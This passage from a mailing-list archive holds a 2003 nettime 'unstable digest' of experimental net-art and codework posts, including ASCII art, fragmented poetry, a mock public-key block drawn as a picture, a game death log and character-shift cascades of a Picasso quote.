)\n\n\n\n\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\n\nhttp://lo-y.de.vu\nhttp://lo-y.de.vu\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today\u00f7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today\u00f7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today\u00f7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nTo: syndicate {AT} anart.no,spectre {AT} mikrolisten.de,screenburn {AT} yahoogroups.com\nFrom: mez <netwurker {AT} hotkey.net.au>\nDate: Wed, 23 Jul 2003 08:22:00 +1000\nSubject: [screenburn] 07:58am 23/07/2003 09:12am 18/07/2003 10:20am 14/07/2003\n\n\n\n\n_LASTIC BUILD_     07:58am 23/07/2003\n\n++b[uilding]ands horizon stretched + sky compressed\n++st.ack.ed txtuals moved thru flit + mail cracs\n++tronic[wo]manual.han[g]dling.\n\n____________\n  Post\n____________\n\n\n\n_________________________________________________\n_ur.chin[s n newbile necks]_     09:12am 18/07/2003\n_________________________________________________\n\n_Dream [Wo]Mandat[e]a_\n\n--blocks of pixelled dol.phin[eas cage]_code\n--napthol blue meats blocked s[ilk]creen_white\n--rising punctures.of.strange.flows.N.organic.want[ons]\n\n--gawd's fingas.do.the.sunstreamic.walking\n--li[s]quid.frozen.in.blonde.batches\n\n.batten.down.the.brunette.hatches.\n\n____________\n  Post\n____________\n\n\n\n___________________________________________\n_frost t[l]ong(l)ue.ings_     10:20am 14/07/2003\n___________________________________________\n\n\n#!lacerations.on.my.aesth[ick]etic.tongue\n\n         [g(ol{gotha}.den)round black.frost.circuitree.N>R>Gee.storage]\n         [warm.junkie.lec.trick(ling)s _vs_ organoc(h)oldings]\n\n.\n____________\n  Post\n____________\n\n\n\n_________________________________________\n_[d]fuse.pointas_     10:00am 10/07/2003\n_________________________________________\n\n   .spaghettoed hart [d]anglings\n\n[----fused lust.vitreous(silica)-----]\n\n[-----re.move sub.co(i)n.straints-----]\n\n\n____________\n  Post\n____________\n\n\n\n____________________________________\n\n[ conversion.scribing ]\n\n\n\nBuilding bands of pictures_horizon stretched & sky compressed\nStacked Acker textuals moved through flitting window_mail cracks\n\n         [Electronic manual_woman handling]\n         [Dream Mandates vs Woman Datas].\n\nBlocks of pixilated Phineas Cagesque dolphin_code\nNapthol blue meets blocked silkscreened_white\nRising punctures of strange flows & wanton organic wants\nGod's fingers do the sunstreamic walking\nLiquids frozen in blonde batches.\n\n         [Batten down the brunette hatches].\n         [Lacerations on my thick aesthetic tongue].\n\nGolden Golgotha_drenched black frost circuitry energy storage\nWarm junkie electric tricklings vs organic holdings\n\n         [Spaghettoed hart danglings]\n         [Fused lusting vs silica_vitreous]\n         [Moved constraints]\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\n\n\n\nDate: Thu, 17 Jul 2003 11:07:10 +0200\nFrom: Peter Luining <email {AT} ctrlaltdel.org>\nSubject: Re:  ode to keiko suzuki\n\n\nThursday, July 17, 2003, 12:45:30 AM, a wrote:\n\n\na> -----BEGIN Art Cryptography=C6 PUBLIC KEY BLOCK-----\na> Version:Art Encryption=C6 for Personal Privacy 1.0.2\na> mailto:VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV\na> http://VVVVVVVVVVVVVVVVVVVVVVVVXVVVVVVVVVVVVVVV\na> mailto:VVVVVVVVVVXWWVVVVVVVVVXR+BVVVVVVVVVVVVVV\na> http://VVVVVVVVVXR ,WWVVVVVVXX  ,BVVVVVVVVVVVVV\na> mailto:VVVVVVVVVR;   tRVVVVXR    +RVVVVVVVVVVVV\na> http://VVVVVVVVVB     iWVVVR,     RXVVVVVVVVVVV\na> mailto:VVVVVVVVVB      VXVVB      ;RVVVVVVVVVVV\na> http://VVVVVVVVVB      .BVVB      ,RVVVVVVVVVVV\na> mailto:VVVVVVVVVB.      XXVB      +WVVVVVVVVVVV\na> http://VVVVVVVVVXV      IWVB      BVVVVVVVVVVVV\na> mailto:VVVVVVVVVVR+     ;WVB     YWVVVVVVVVVVVV\na> http://VVVVVVVVVVVR:    ,RWR    .BXVVVVVVVVVVVV\na> mailto:VVVVVVVVVVVXR              ;YWXVVVVVVVVV\na> http://VVVVVVVVVVRY                  tRVVVVVVVV\na> mailto:VVVVVVVVXR,                    .WXVVVVVV\na> http://VVVVVVVXR.                       XXVVVVV\na> mailto:VVVVVVVB.                         BVVVVV\na> http://VVVVVVR+                   +M     WVVVVV\na> mailto:VVVVVVR.   .M;             .i     WVVVVV\na> http://VVVVVVR:    i.                   .RVVVVV\na> mailto:VVVVVXWX                        .RVVVVVV\na> http://VVVVVWttW.         ;VIX;       +RVVVVVVV\na> mailto:VVVVVVRXiVI;.      :.       ;IWXVVVVVVVV\na> http://VVVVVVVRV++tYRWYIttIttIIIVBRBVVVVVVVVVVV\na> mailto:VVVVVVVVXRi+++tVYYYYVVIYYYi+tBXVVVVVVVVV\na> http://VVVVVVVVVXX+++++++++i++++++++iRXVVVVVVVV\na> mailto:VVVVVVVVVVB+++++++++++++++++IVXBVVVVVVVV\na> http://VVVVVVVVVVR+++++++++++++++++YI tWVVVVVVV\na> mailto:VVVVVVVVVVR+++++++++++++++++tBVWVVVVVVVV\na> http://VVVVVVVVVVWWWWVYVVYYYYYYVVYXXWVVVVVVVVVV\na> mailto:VVVVVVVVVVVWI      M:    ,RXVVVVVVVVVVVV\na> http://VVVVVVVVVVVB       M:     .BVVVVVVVVVVVV\na> mailto:VVVVVVVVVVVWWXXXXXWWRWXXXXWXVVVVVVVVVVVV\na> http://VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV-\na> -----END Art Cryptography=C6 PUBLIC KEY BLOCK-----\n\nhttp://www.nijntje.nl/\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Deaths\nDate: Sat, 26 Jul 2003 18:40:02 -0400 (EDT)\n\n\n\n\nDeaths\n\n\nalan(1) killed by Go player(0), creator: 0\nkayo(1) killed by Clara . ((((((!))))))(clara), creator: 0\nkayo(1) killed by Harry the affectionate(0), creator: 0\nkayo(1) killed by Clara . ((((((!))))))(clara), creator: 0\nkayo(1) killed by Clara . ((((((!))))))(clara), creator: 0\nkayo(11) killed by Clara . ((((((!))))))(clara), creator: 0\nkayo(10) killed by A WoMan Man(0), creator: 0\nkayo(9) killed by Honey(0), creator: 0\nkayo(8) killed by Honey(0), creator: 0\ncarol(1) killed by Susan the naked flesh (neutral)(susan), creator: 0\nalan(1) killed by Clara . ((((((!))))))(clara), creator: 0\n\n\n___\n\n\nDate: Tue, 22 Jul 2003 12:32:26 GMT\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Transliteration of the H'un T'un Sutra\n\njasprimeordiaunfolds..\n\nYANG s KYIM Sma, TADYATA JIG RANG YID pargite DO.\nCHUB RAB zBdae bu-jung-bul-gam LA p CHE SEM u-b ite bihac!\nNA Aw PAR duk-ko ME, pvRte ME, DE PA sMyKs,\nDAG MO ME PAG KHAM YANG PA JE -gvtae mo-ji mu-ju\nJANG saek-chuk-shi-gong SHE ijVha CHEN GYI zBdae\nDRANG LA SHEG iv}an<, PA PA mu TU LA YID MA hulku\nRIG ctRVy< ZHEN RAB CH\u00d6 jeche JANG PA DE dae-shin\nMO KYI SO CHIN RI\u2019I ME, NE, DE CHEN t\u00d4\u0192p<, a-je  u-b ite bihac!\nME ZIG svaRvtI PA ba-ra-mil-taDI Awayu:ma\u00c1Dairpu\u00c7ae shumshum\nSUk ZHE duk-ko SO. PA CHOM Sm, SO. sam-se Vyvlaekyit,\nYANG svRbu\u00cfa> ME SEM CHIN GOK SHE PARASAMGATE\nPA LA CHOM TEN SANG LA BU ban-ya PA olu CHEN saxu\nROL SHE ROL SEMPAG DE RANG DO. sma\u00dd<. RAB KE  u-b ite bihac!\nCHIN DO. NYI Svahav. shim RE go<-Iraya< TE, RAB PA DRI\nDE yong-mu-dug-i mu-sang-ju shi ya CHIG CHIN AnuTp\u00daa\nPA\u2019I DRIB TA\u2019O ctRVy< a-je CHE CHE  {AT} v< WANG \u00e0}  u-b ite bihac!\nmaparimtamai\u00efTyanu\u00c4ra< PA, nae-ji PAR Vyvlaekyit baeixs\u00c5vs\n<\"enzUNyta, ban-ya tSma\u00c4ihR NYAM go-aek JANG WA ME\nDRI AM KYI n mnaexatunR TING \u00eap< GI PA DZIN DE MA koozmee\nNAM TRAK TEN PO ZHENG ZUG mnaeiv}anxatu>.CHE GI  u-b ite bihac!\nCHE WA SHI DEN gong NE YID baeixs\u00c5vae TONG PUNG TSE\nSm,CHOM PO KYI RANG =nu\u00c4rm<\u00c7ae mu TU -gvan! PA\u2019O.\n=smsmm<\u00c7>BAR NAM KYI PA JANG TONG PA TADYATA\nsu-sang-haeng-shik NEI,ROL sax\u00a1PA RI\u2019I YID JA KYI NGE  u-b ite bihac!\n\u00e0}aparimtaya< KE KYI NAM p&wk\u0153 SHEPA PA SHENYI sweeteetay\nZHENG LA TU DEN TAR PA ME KHOR KYI yol-ban KYE WA\nKYIJI SHEPA\u2019I ZHING, TSE ek\u2026l\u00caihta PA sam-bo-riTSALMO  u-b ite bihac!\n\u00e0}aparimtaya< shimsago-jim-myol-to PO SOpvRte TI\u2019I ba-ra\nsung-a-jeROL s<}aME  {AT} vmetTk\u2026lpu\u00c7,va PUNG RI\u2019I zairpu\u00c7  u-b ite bihac!\nRA PA\u2019O. BU, ME sa ROL SEM ME, NYI GANG PO n TOB ui\np&wk\u0153 ROL TONG ic\u00c4avr[>, LOG PO\u2019I TA gte DRI MO TONG  u-b ite bihac!\nPA TEN LA PA\u2019I JIN PA, je-bur-ui TRAK ic\u00c4avr[>, CHE GANG PAR\ngyong svaRrvatI WA bur-ho CHOM SVAHA RAB mu-yu-gong-po BU ME, u-b ite\nbihac!\n\nDANG, da-ding\nsam-bo-riTONG y>  {AT} vimu\u00ad SHID\u00dc PA yong-mu-dug-i p\nNGEN NYI RE ME, PAR PAG DE shi PO PA\u2019O.\nDANG,  u-b ite bihac!\nsma\u00dd<. RABTE, ba-ra-mil-ta B\u00dc ME,\nTAR PO KUN PARASAMGATE\ncya\u00a1 shimDE DI izi]tVy>,\ngo-aek JANG PA TING\nME LOG PA\u2019I MA KYI TA\u2019O\nP\u00d6 shim UB ITE!\nZAB PAG CHIN WANG PA PA\u2019I\nZownz zeest lalingolongosongosungo\n\n\n\n\n\nnettime unstable digest vol 57\nSun Jul 27 18:38:02 2003\n\n\nSubject: prayer.pl (corrected)\n    From: neil {AT} devoid.co.uk\n    To: syndicate {AT} anart.no\n\nSubject: Emotional Portraits After =?ISO-8859-1?Q?G=E9ricault?=\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: A'u'tr'a'u'm'e'r'sp'i''e'l'au'g'e'n's'c'he''in''\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: AFTER Whitehead\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Knob0noth\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Directions\n    From: exp {AT} surfeu.fi\n    To: cybermind {AT} listserv.aol.com\n\nSubject: Re:  __***ra*schw***ig**e*i*t**e*l*ge\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\n\nSubject: [screenburn] 07:58am 23/07/2003 09:12am 18/07/2003 10:20am 14/07/2003\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: syndicate {AT} anart.no,spectre {AT} mikrolisten.de,screenburn {AT} yahoogroups.com\n\nSubject: Re:  ode to keiko suzuki\n    From: Peter Luining <email {AT} ctrlaltdel.org>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Deaths\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Transliteration of the H'un T'un Sutra\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    \n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 27 Jul 2003 18:39:21 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200307271822.h6RIMDc23751 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0307/msg00097.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 57"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00078",
                "content": "\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: warning\nDate: Sat, 19 Jul 2003 01:00:30 +0200\n\n     wa.r.n.i.n.g\n\n\n     W arning\n\na.fatal error\nrror\nn.\ni.\nn.\n\n\n\n\n\n              ________g\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n              {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\nDate:         Sun, 13 Jul 2003 00:07:02 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: + / - IN 2 PARTS\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n+ / - IN 2 PARTS\n\n\n+ / -\n+\n\n\"Computers are useless. They can only give you answers.\" Pablo Picasso\n#Dpnqvufst!bsf!vtfmftt/!Uifz!dbo!pomz!hjwf!zpv!botxfst/#!Qbcmp!Qjdbttp\n$Eqorwvgtu\"ctg\"wugnguu0\"Vjg{\"ecp\"qpn{\"ikxg\"{qw\"cpuygtu0$\"Rcdnq\"Rkecuuq\n%Frpsxwhuv#duh#xvhohvv1#Wkh|#fdq#rqo|#jlyh#|rx#dqvzhuv1%#Sdeor#Slfdvvr\n&Gsqtyxivw$evi$ywipiww2$Xli}$ger$srp}$kmzi$}sy$erw{ivw2&$Tefps$Tmgewws\n'Htruzyjwx%fwj%zxjqjxx3%Ymj~%hfs%tsq~%ln{j%~tz%fsx|jwx3'%Ufgqt%Unhfxxt\n(Iusv{zkxy&gxk&{ykrkyy4&Znk &igt&utr &mo|k& u{&gty}kxy4(&Vghru&Voigyyu\n)Jvtw|{lyz'hyl'|zlslzz5'[ol 'jhu'vus 'np}l' v|'huz~lyz5)'Whisv'Wpjhzzv\n*Kwux}|mz{(izm(}{mtm{{6(\\pm (kiv(wvt (oq~m( w}(iv{ mz{6*(Xijtw(Xqki{{w\n+Lxvy~}n{|)j{n)~|nun||7)]qn )ljw)xwu )pr n) x~)jw| n{|7+)Yjkux)Yrlj||x\n,Mywz ~o|}*k|o* }ovo}}8*^ro *mkx*yxv *qs o* y *kx} o|}8,*Zklvy*Zsmk}}y\n-Nzx{  p}~+l}p+ ~pwp~~9+_sp +nly+zyw +rt p+ z +ly~ p}~9-+[lmwz+[tnl~~z\n.O{y|  q~ ,m~q,  qxq  :,`tq ,omz,{zx ,su q, { ,mz  q~ :.,\\mnx{,\\uom  {\n/P|z}  r  -n r-  ryr  ;-aur -pn{-|{y -tv r- | -n{  r  ;/-]noy|-]vpn  |\n0Q}{~  s  .o s.  szs  <.bvs .qo|.}|z .uw s. } .o|  s  <0.^opz}.^wqo  }\n1R~|   t  /p t/  t{t  =/cwt /rp}/~}{ /vx t/ ~ /p}  t  =1/_pq{~/_xrp  ~\n2S }   u  0q u0  u|u  >0dxu 0sq~0 ~| 0wy u0   0q~  u  >20`qr| 0`ysq\n3T ~   v  1r v1  v}v  ?1eyv 1tr 1  } 1xz v1   1r   v  ?31ars} 1aztr\n4U     w  2s w2  w~w   {AT} 2fzw 2us 2  ~ 2y{ w2   2s   w   {AT} 42bst~ 2b{us\n5V     x  3t x3  x x  A3g{x 3vt 3    3z| x3   3t   x  A53ctu  3c|vt\n6W     y  4u y4  y y  B4h|y 4wu 4    4{} y4   4u   y  B64duv  4d}wu\n7X     z  5v z5  z z  C5i}z 5xv 5    5|~ z5   5v   z  C75evw  5e~xv\n8Y     {  6w {6  { {  D6j~{ 6yw 6    6}  {6   6w   {  D86fwx  6f yw\n9Z     |  7x |7  | |  E7k | 7zx 7    7~  |7   7x   |  E97gxy  7g zx\n:[     }  8y }8  } }  F8l } 8{y 8    8   }8   8y   }  F:8hyz  8h {y\n;\\     ~  9z ~9  ~ ~  G9m ~ 9|z 9    9   ~9   9z   ~  G;9iz{  9i |z\n<]        :{  :       H:n   :}{ :    :    :   :{      H<:j{|  :j }{\n=^        ;|  ;       I;o   ;~| ;    ;    ;   ;|      I=;k|}  ;k ~|\n>_        <}  <       J<p   < } <    <    <   <}      J><l}~  <l  }\n?`        =~  =       K=q   = ~ =    =    =   =~      K?=m~   =m  ~\n {AT} a        >   >       L>r   >   >    >    >   >       L {AT} >n    >n\nAb        ?   ?       M?s   ?   ?    ?    ?   ?       MA?o    ?o\nBc         {AT}     {AT}        N {AT} t    {AT}     {AT}      {AT}      {AT}     {AT}        NB {AT} p     {AT} p\nCd        A   A       OAu   A   A    A    A   A       OCAq    Aq\nDe        B   B       PBv   B   B    B    B   B       PDBr    Br\nEf        C   C       QCw   C   C    C    C   C       QECs    Cs\nFg        D   D       RDx   D   D    D    D   D       RFDt    Dt\nGh        E   E       SEy   E   E    E    E   E       SGEu    Eu\nHi        F   F       TFz   F   F    F    F   F       THFv    Fv\nIj        G   G       UG{   G   G    G    G   G       UIGw    Gw\nJk        H   H       VH|   H   H    H    H   H       VJHx    Hx\nKl        I   I       WI}   I   I    I    I   I       WKIy    Iy\nLm        J   J       XJ~   J   J    J    J   J       XLJz    Jz\nMn        K   K       YK    K   K    K    K   K       YMK{    K{\nNo        L   L       ZL    L   L    L    L   L       ZNL|    L|\nOp        M   M       [M    M   M    M    M   M       [OM}    M}\nPq        N   N       \\N    N   N    N    N   N       \\PN~    N~\nQr        O   O       ]O    O   O    O    O   O       ]QO     O\nRs        P   P       ^P    P   P    P    P   P       ^RP     P\nSt        Q   Q       _Q    Q   Q    Q    Q   Q       _SQ     Q\nTu        R   R       `R    R   R    R    R   R       `TR     R\nUv        S   S       aS    S   S    S    S   S       aUS     S\nVw        T   T       bT    T   T    T    T   T       bVT     T\nWx        U   U       cU    U   U    U    U   U       cWU     U\nXy        V   V       dV    V   V    V    V   V       dXV     V\nYz        W   W       eW    W   W    W    W   W       eYW     W\nZ{        X   X       fX    X   X    X    X   X       fZX     X\n[|        Y   Y       gY    Y   Y    Y    Y   Y       g[Y     Y\n\\}        Z   Z       hZ    Z   Z    Z    Z   Z       h\\Z     Z\n]~        [   [       i[    [   [    [    [   [       i][     [\n^         \\   \\       j\\    \\   \\    \\    \\   \\       j^\\     \\\n_         ]   ]       k]    ]   ]    ]    ]   ]       k_]     ]\n`         ^   ^       l^    ^   ^    ^    ^   ^       l`^     ^\na         _   _       m_    _   _    _    _   _       ma_     _\nb         `   `       n`    `   `    `    `   `       nb`     `\nc         a   a       oa    a   a    a    a   a       oca     a\nd         b   b       pb    b   b    b    b   b       pdb     b\ne         c   c       qc    c   c    c    c   c       qec     c\nf         d   d       rd    d   d    d    d   d       rfd     d\ng         e   e       se    e   e    e    e   e       sge     e\nh         f   f       tf    f   f    f    f   f       thf     f\ni         g   g       ug    g   g    g    g   g       uig     g\nj         h   h       vh    h   h    h    h   h       vjh     h\nk         i   i       wi    i   i    i    i   i       wki     i\nl         j   j       xj    j   j    j    j   j       xlj     j\nm         k   k       yk    k   k    k    k   k       ymk     k\nn         l   l       zl    l   l    l    l   l       znl     l\no         m   m       {m    m   m    m    m   m       {om     m\np         n   n       |n    n   n    n    n   n       |pn     n\nq         o   o       }o    o   o    o    o   o       }qo     o\nr         p   p       ~p    p   p    p    p   p       ~rp     p\ns         q   q        q    q   q    q    q   q        sq     q\nt         r   r        r    r   r    r    r   r        tr     r\nu         s   s        s    s   s    s    s   s        us     s\nv         t   t        t    t   t    t    t   t        vt     t\nw         u   u        u    u   u    u    u   u        wu     u\nx         v   v        v    v   v    v    v   v        xv     v\ny         w   w        w    w   w    w    w   w        yw     w\nz         x   x        x    x   x    x    x   x        zx     x\n{         y   y        y    y   y    y    y   y        {y     y\n|         z   z        z    z   z    z    z   z        |z     z\n}         {   {        {    {   {    {    {   {        }{     {\n~         |   |        |    |   |    |    |   |        ~|     |\n          }   }        }    }   }    }    }   }         }     }\n          ~   ~        ~    ~   ~    ~    ~   ~         ~     ~\n\n\n# # #\n\n+ / -\n-\n\n\"Computers are useless. They can only give you answers.\" Pablo Picasso\n!Bnlotsdqr `qd trdkdrr- Sgdx b`m nmkx fhud xnt `mrvdqr-! O`akn Ohb`rrn\n Amknsrcpq _pc sqcjcqq, Rfcw a_l mljw egtc wms _lqucpq,  N_`jm Nga_qqm\n  {AT} ljmrqbop ^ob rpbibpp+ Qebv `^k lkiv dfsb vlr ^kptbop+  M^_il Mf`^ppl\n ?kilqpano ]na qoahaoo* Pdau _]j kjhu cera ukq ]josano*  L]^hk Le_]ook\n >jhkpo`mn \\m` pn`g`nn) Oc`t ^\\i jigt bdq` tjp \\inr`mn)  K\\]gj Kd^\\nnj\n =igjon_lm [l_ om_f_mm( Nb_s ][h ihfs acp_ sio [hmq_lm(  J[\\fi Jc][mmi\n <hfinm^kl Zk^ nl^e^ll' Ma^r \\Zg hger `bo^ rhn Zglp^kl'  IZ[eh Ib\\Zllh\n ;gehml]jk Yj] mk]d]kk& L`]q [Yf gfdq _an] qgm Yfko]jk&  HYZdg Ha[Ykkg\n :fdglk\\ij Xi\\ lj\\c\\jj% K_\\p ZXe fecp ^`m\\ pfl Xejn\\ij%  GXYcf G`ZXjjf\n 9ecfkj[hi Wh[ ki[b[ii$ J^[o YWd edbo ]_l[ oek Wdim[hi$  FWXbe F_YWiie\n 8dbejiZgh VgZ jhZaZhh# I]Zn XVc dcan \\^kZ ndj VchlZgh#  EVWad E^XVhhd\n 7cadihYfg UfY igY`Ygg\" H\\Ym WUb cb`m []jY mci UbgkYfg\"  DUV`c D]WUggc\n 6b`chgXef TeX hfX_Xff! G[Xl VTa ba_l Z\\iX lbh TafjXef!  CTU_b C\\VTffb\n 5a_bgfWde SdW geW^Wee  FZWk US` a`^k Y[hW kag S`eiWde   BST^a B[USeea\n 4`^afeVcd RcV fdV]Vdd  EYVj TR_ `_]j XZgV j`f R_dhVcd   ARS]` AZTRdd`\n 3_]`edUbc QbU ecU\\Ucc  DXUi SQ^ _^\\i WYfU i_e Q^cgUbc    {AT} QR\\_  {AT} YSQcc_\n 2^\\_dcTab PaT dbT[Tbb  CWTh RP] ^][h VXeT h^d P]bfTab   ?PQ[^ ?XRPbb^\n 1][^cbS`a O`S caSZSaa  BVSg QO\\ ]\\Zg UWdS g]c O\\aeS`a   >OPZ] >WQOaa]\n 0\\Z]baR_` N_R b`RYR``  AURf PN[ \\[Yf TVcR f\\b N[`dR_`   =NOY\\ =VPN``\\\n /[Y\\a`Q^_ M^Q a_QXQ__   {AT} TQe OMZ [ZXe SUbQ e[a MZ_cQ^_   <MNX[ <UOM__[\n .ZX[`_P]^ L]P `^PWP^^  ?SPd NLY ZYWd RTaP dZ` LY^bP]^   ;LMWZ ;TNL^^Z\n -YWZ_^O\\] K\\O _]OVO]]  >ROc MKX YXVc QS`O cY_ KX]aO\\]   :KLVY :SMK]]Y\n ,XVY^]N[\\ J[N ^\\NUN\\\\  =QNb LJW XWUb PR_N bX^ JW\\`N[\\   9JKUX 9RLJ\\\\X\n +WUX]\\MZ[ IZM ][MTM[[  <PMa KIV WVTa OQ^M aW] IV[_MZ[   8IJTW 8QKI[[W\n *VTW\\[LYZ HYL \\ZLSLZZ  ;OL` JHU VUS` NP]L `V\\ HUZ^LYZ   7HISV 7PJHZZV\n )USV[ZKXY GXK [YKRKYY  :NK_ IGT UTR_ MO\\K _U[ GTY]KXY   6GHRU 6OIGYYU\n (TRUZYJWX FWJ ZXJQJXX  9MJ^ HFS TSQ^ LN[J ^TZ FSX\\JWX   5FGQT 5NHFXXT\n 'SQTYXIVW EVI YWIPIWW  8LI] GER SRP] KMZI ]SY ERW[IVW   4EFPS 4MGEWWS\n &RPSXWHUV DUH XVHOHVV  7KH\\ FDQ RQO\\ JLYH \\RX DQVZHUV   3DEOR 3LFDVVR\n %QORWVGTU CTG WUGNGUU  6JG[ ECP QPN[ IKXG [QW CPUYGTU   2CDNQ 2KECUUQ\n $PNQVUFST BSF VTFMFTT  5IFZ DBO POMZ HJWF ZPV BOTXFST   1BCMP 1JDBTTP\n #OMPUTERS ARE USELESS  4HEY CAN ONLY GIVE YOU ANSWERS   0ABLO 0ICASSO\n \"NLOTSDQR  {AT} QD TRDKDRR  3GDX B {AT} M NMKX FHUD XNT  {AT} MRVDQR   / {AT} AKN /HB {AT} RRN\n !MKNSRCPQ ?PC SQCJCQQ  2FCW A?L MLJW EGTC WMS ?LQUCPQ   .? {AT} JM .GA?QQM\n  LJMRQBOP >OB RPBIBPP  1EBV  {AT} >K LKIV DFSB VLR >KPTBOP   ->?IL -F {AT} >PPL\n  KILQPANO =NA QOAHAOO  0DAU ?=J KJHU CERA UKQ =JOSANO   ,=>HK ,E?=OOK\n  JHKPO {AT} MN <M {AT}  PN {AT} G {AT} NN  /C {AT} T ><I JIGT BDQ {AT}  TJP <INR {AT} MN   +<=GJ +D><NNJ\n  IGJON?LM ;L? OM?F?MM  .B?S =;H IHFS ACP? SIO ;HMQ?LM   *;<FI *C=;MMI\n  HFINM>KL :K> NL>E>LL  -A>R <:G HGER  {AT} BO> RHN :GLP>KL   ):;EH )B<:LLH\n  GEHML=JK 9J= MK=D=KK  , {AT} =Q ;9F GFDQ ?AN= QGM 9FKO=JK   (9:DG (A;9KKG\n  FDGLK<IJ 8I< LJ<C<JJ  +?<P :8E FECP > {AT} M< PFL 8EJN<IJ   '89CF ' {AT} :8JJF\n  ECFKJ;HI 7H; KI;B;II  *>;O 97D EDBO =?L; OEK 7DIM;HI   &78BE &?97IIE\n  DBEJI:GH 6G: JH:A:HH  )=:N 86C DCAN <>K: NDJ 6CHL:GH   %67AD %>86HHD\n  CADIH9FG 5F9 IG9 {AT} 9GG  (<9M 75B CB {AT} M ;=J9 MCI 5BGK9FG   $56 {AT} C $=75GGC\n  B {AT} CHG8EF 4E8 HF8?8FF  ';8L 64A BA?L :<I8 LBH 4AFJ8EF   #45?B #<64FFB\n  A?BGF7DE 3D7 GE7>7EE  &:7K 53 {AT}  A {AT} >K 9;H7 KAG 3 {AT} EI7DE   \"34>A \";53EEA\n   {AT} >AFE6CD 2C6 FD6=6DD  %96J 42?  {AT} ?=J 8:G6 J {AT} F 2?DH6CD   !23= {AT}  !:42DD {AT} \n  ?= 